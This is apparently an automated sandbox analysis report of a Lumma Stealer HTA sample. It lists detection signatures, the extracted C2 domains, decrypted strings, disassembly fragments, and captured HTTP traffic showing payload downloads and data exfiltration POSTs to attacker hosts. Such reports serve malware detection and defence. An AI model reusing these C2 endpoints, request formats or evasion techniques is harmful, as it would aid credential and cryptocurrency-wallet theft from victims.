Windows Analysis Report
new-riii-1-b.pub.hta

Overview

General Information

Sample name: new-riii-1-b.pub.hta
Analysis ID: 1592081
MD5: 43dd09be1f034e3f7f6232bc7e1d3b80
SHA1: bf085f00fd0a9cf51e0a580d9819367e345cace4
SHA256: 3d1a4b9e37868f54e7e7eb98aae0203e2c50b2977170e0006cd3cbcb071c6b94
Tags: FakeCaptchaFakePubhtauser-aachum
Infos:

Detection

LummaC
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Powershell Download and Execute IEX
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Creates HTML files with .exe extension (expired dropper behavior)
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Found suspicious powershell code related to unpacking or dynamic code loading
LummaC encrypted strings found
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: PowerShell Download and Execution Cradles
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Yara detected Costura Assembly Loader
Yara detected MSILLoadEncryptedAssembly
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

AV Detection
barindex
Found malware configuration
Source: 10.2.powershell.exe.400000.0.raw.unpack Malware Configuration Extractor: LummaC {"C2 url": ["immolatechallen.bond", "growthselec.bond", "idealizetreez.shop", "jarry-fixxer.bond", "jarry-deatile.bond", "crookedfoshe.bond", "pain-temper.bond", "stripedre-lot.bond", "strivehelpeu.bond"], "Build id": "c2CoW0--RIII"}
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 98.9% probability
Sample uses string decryption to hide its real strings
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: jarry-fixxer.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: pain-temper.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: jarry-deatile.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: growthselec.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: stripedre-lot.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: immolatechallen.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: crookedfoshe.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: strivehelpeu.bond
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: idealizetreez.shop
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: Workgroup: -
Source: 0000000A.00000002.2606603399.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: c2CoW0--RIII
Source: unknown HTTPS traffic detected: 172.67.194.161:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.194.161:443 -> 192.168.2.6:57600 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57621 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57628 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57635 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57644 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57654 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57662 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57675 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57694 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.212.45:443 -> 192.168.2.6:57702 version: TLS 1.2
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: powershell.exe, 00000004.00000002.2735376513.000000000CC49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2510709371.0000000007570000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000004.00000002.2735376513.000000000CC49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2510709371.0000000007570000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+04h] 10_2_00424801
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov dword ptr [esp], ebx 10_2_0040E146
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp dword ptr [edx+ecx*8], 625B9FB1h 10_2_0043F193
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+16h] 10_2_0042E435
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov byte ptr [esi], cl 10_2_0042E435
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1Ch] 10_2_0042E435
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ebx, byte ptr [esp+edi-6C72C924h] 10_2_00439FB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 10_2_00437840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov word ptr [eax], cx 10_2_0040A019
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_0042A896
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ecx, eax 10_2_00408100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+44h] 10_2_0041A910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then push ebp 10_2_004299F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h 10_2_004409B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov word ptr [eax], cx 10_2_004161BC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ecx, eax 10_2_00427A40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then push edi 10_2_00429A63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then push edi 10_2_00429A63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh 10_2_00402220
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_00429A23
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h 10_2_00427A20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then add esi, FFFFFFFEh 10_2_0041C230
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-40188905h] 10_2_00429230
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov word ptr [esi], cx 10_2_0041BAD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [ebp+eax+00h] 10_2_0040AAE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edx, word ptr [esp+eax*4+00001118h] 10_2_004072E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov edx, ecx 10_2_004192E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ebx, ecx 10_2_004192E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov dword ptr [ebp-18h], ebx 10_2_0042A2F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_00429A8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+37657BB2h] 10_2_00429AA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h 10_2_004262BB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h 10_2_004262BB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h 10_2_00418345
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp al, 2Eh 10_2_00427B1D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov edx, eax 10_2_00427B1D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_004283E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h 10_2_00418BED
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp ecx 10_2_0043FBEC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov word ptr [eax], cx 10_2_00421BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov eax, ebx 10_2_0041CBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp dword ptr [ebx+esi*8], 75827ABFh 10_2_00416C59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp ecx 10_2_0043FC25
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_0042A428
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov eax, dword ptr [00446244h] 10_2_0042543E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h 10_2_0043D4C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax-493EE972h] 10_2_0042F4D9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ebx, ecx 10_2_0042D4B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+16h] 10_2_0042E556
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov byte ptr [esi], cl 10_2_0042E556
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1Ch] 10_2_0042E556
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movsx eax, byte ptr [esi+ecx] 10_2_0041ED60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax-493EE972h] 10_2_0042F56D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ecx, ebx 10_2_0043D530
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edi, word ptr [ecx] 10_2_0043FDC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ebx, byte ptr [esp+edi+132E2CF3h] 10_2_0043FDC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx esi, word ptr [ecx] 10_2_00440DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 10_2_0042ADA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov edx, edi 10_2_00409650
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov word ptr [ebx], ax 10_2_00409650
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edi, byte ptr [esp+edx-4Bh] 10_2_0043F625
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov word ptr [ebx], ax 10_2_00419E30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ebx, byte ptr [ecx+edx] 10_2_0043DE30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_00428637
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_004296EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then test esi, esi 10_2_0043AEF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edx, byte ptr [esp+edi-000000F6h] 10_2_00408E90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edi, byte ptr [esp+eax-53h] 10_2_00417F57
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov byte ptr [esi], bl 10_2_0042E76A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp ecx 10_2_0040A776
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax-7D4318DCh] 10_2_00421700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx ebx, byte ptr [esp+edi+132E2CF3h] 10_2_0043FF20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then jmp eax 10_2_0043EFE1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx-3C167E04h] 10_2_0040CF99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx-3C167E04h] 10_2_0040CF99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4x nop then mov ecx, eax 10_2_00426FA0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:57635 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57621 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57621 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57694 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:57628 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57628 -> 104.21.64.1:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: immolatechallen.bond
Source: Malware configuration extractor URLs: growthselec.bond
Source: Malware configuration extractor URLs: idealizetreez.shop
Source: Malware configuration extractor URLs: jarry-fixxer.bond
Source: Malware configuration extractor URLs: jarry-deatile.bond
Source: Malware configuration extractor URLs: crookedfoshe.bond
Source: Malware configuration extractor URLs: pain-temper.bond
Source: Malware configuration extractor URLs: stripedre-lot.bond
Source: Malware configuration extractor URLs: strivehelpeu.bond
Creates HTML files with .exe extension (expired dropper behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: UAGVQ199I7H3ZT4G1PSFXCX6W.exe.10.dr
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.6:57513 -> 1.1.1.1:53
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /5c85i3vbf.vdf HTTP/1.1Host: e1.foiloverturnarrival.shopConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View IP Address: 104.21.64.1 104.21.64.1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57621 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57628 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57635 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57654 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57644 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57675 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57694 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57662 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:57702 -> 172.67.212.45:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /riiw1.mp3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: f1.foiloverturnarrival.shopConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7R1X44YR9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12804Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QEDRH3K2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15044Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KC1NO31LQLQP67DILUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19956Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QVZ0U5BFV3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1340Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PZ2UVVEOHBJJFZMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587475Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 81Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: GET /int_clp_8888.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipgibob.shop
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /5c85i3vbf.vdf HTTP/1.1Host: e1.foiloverturnarrival.shopConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /riiw1.mp3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: f1.foiloverturnarrival.shopConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /int_clp_8888.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipgibob.shop
Source: global traffic DNS traffic detected: DNS query: e1.foiloverturnarrival.shop
Source: global traffic DNS traffic detected: DNS query: f1.foiloverturnarrival.shop
Source: global traffic DNS traffic detected: DNS query: idealizetreez.shop
Source: global traffic DNS traffic detected: DNS query: klipgibob.shop
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: idealizetreez.shop
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 15 Jan 2025 17:25:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9gzl5x1vpf3rLPmKG21%2BjRwQsi2eUqbYUQxJepG4nv7QK6JEwRzeXFK6ccoomV%2FPU46Ab4k8v2vpQCHxgGxTO%2FPrAPYXB7gysTbiDnNhDAdehSLCHGmmVzioTc%2F1H0pIMQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9027913d6d6eaac5-YYZalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=13780&min_rtt=13779&rtt_var=5171&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2865&recv_bytes=819&delivery_rate=211686&cwnd=32&unsent_bytes=0&cid=3c144a9a0b8205bb&ts=239&x=0"
